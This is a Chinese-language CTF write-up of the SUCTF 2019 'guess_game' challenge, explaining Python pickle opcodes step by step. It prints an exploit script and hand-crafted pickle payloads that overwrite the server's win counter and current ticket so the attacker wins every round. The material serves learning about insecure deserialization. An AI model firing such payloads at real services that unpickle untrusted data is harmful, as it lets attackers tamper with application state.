之前参加了2019 SUCTF,遇见了一道MISC题,看源码和phithon师傅的文章去了解它的opcodes,但是最终还是没做出来,因为文档实在是太少了,所以决心要弄懂这些东西。虽然pickle这个问题存在很久了,但是还是会有存在的情况,所以还是需要弄懂的,要不然就像这次的SUCTF一样,出现这样的血案,如果以后出现了也有一战之力,不管是执行命令还是这种类的修改。 PS:本文基本不涉及pickle绕过沙盒反序列化执行命令,因为题目不涉及,具体可看附录里的链接。
pickle模块实现用于对Python对象结构进行序列化和反序列化的二进制协议。 与其它语言一样,pickle的dump(dumps)和load(loads)提供了序列化和反序列化的功能,详情使用可参考附录里的pickle文档或者源码。
首先来看下题目,可以在buuoj平台上开启guess game的靶机或者下载源码https://github.com/rmb122/suctf2019_guess_game里下载源码。这道题还是十分有趣的,不会pickle的人短时间内还是可以看懂pickle的基本使用,但是深入构造命令执行或者其它操作比较困难,而这题的考点就考它的其它操作组合。而至于命令执行,可以看附录里的一些链接。 可以看到给了两个文件,一个server.py、一个client.py
无疑是用client与server交互获得flag
1. 看下client核心逻辑:
十分的简单,可以看下Ticket类
也是十分的简单,甚至重写了==,这个会在后面遇到
2. Server逻辑:
查看猜对条件,可以看出就是判断ticket.number是否相等,相等就使 win_count+1
查看胜利条件,胜利次数==最大轮数,而最大轮数是10,所以就是要全胜
然后max_round和number_range定义在init.py里
但是这十次随机是不太可能的,跑了个脚本大概能跑对个3 4次就不错了23333。
所以整理下思路:
看下官方的exp
import pickle
import socket
import struct
s = socket.socket()
s.connect(('node2.buuoj.cn.wetolink.com', 28049))
exp = b'''cguess_game
game
}S"win_count"
I10
sS"round_count"
I9
sbcguess_game.Ticket\nTicket\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00numberq\x03K\xffsb.'''
s.send(struct.pack('>I', len(exp)))
s.send(exp)
print(s.recv(1024))
print(s.recv(1024))
print(s.recv(1024))
print(s.recv(1024))
看下解释
接下来看下修改win_count和win_count的opcodes:
cguess_game
game
}S"win_count"
I10
sS"round_count"
I9
sb
这都是啥东东,完全看不懂 = =,没关系,我们看看先换成容易看懂的,使用picktools转换
接下来从pickle源码中提取关键字解释
GLOBAL = b'c' # push self.find_class(modname, name); 2 string args
EMPTY_DICT = b'}' # push empty dict
STRING = b'S' # push string; NL-terminated string argument
INT = b'I' # push integer or bool; decimal string argument
SETITEM = b's' # add key+value pair to dict
BUILD = b'b' # call __setstate__ or __dict__.update()
有人肯定就开始问了,这我也看不懂英文啊,大哥你帮帮我翻译呗
那就解释如下:
c:引入模块和对象,模块名和对象名以换行符分割。(find_class校验就在这一步,也就是说,只要c这个OPCODE的参数没有被find_class限制,其他地方获取的对象就不会被沙盒影响了)
}:push一个空的字典,相当于push {}
S: push一个字符串
I: push一个整型
s: 按照我的理解以及一些参考文章,pop两位 ,然后作为字典的key和value,这个跟pyc的代码是类似的。
b: 调用__setstate__ 或者 __dict__.update()
dict.update:更新对象的属性的
所以上面的翻译一下
如果对python字节码熟悉的师傅就会觉得很简单,但是Web狗实在见识少,只能通过查阅资料和猜测来做。 然后再拼接一个Ticket序列化对象
虽然与exp有点差别但是影响不大,验证一下
至于改max_round,由于它不是类里的属性,从opcode没找到操作的方法,如果有可以操作这两个值的方法也是实现的。
这一步的关键点在修改guess_game.game.game的current_ticket值。我将De1ta的payload简化了下
exp1 = b"cguess_game\ngame\nN(S'curr_ticket'\ncguess_game.Ticket\nTicket\n)\x81}X\x06\x00\x00\x00numberK\x06sbd\x86bcguess_game.Ticket\nTicket\n)\x81}X\x06\x00\x00\x00numberK\x06sb."
翻译一下,与上面的其实差不多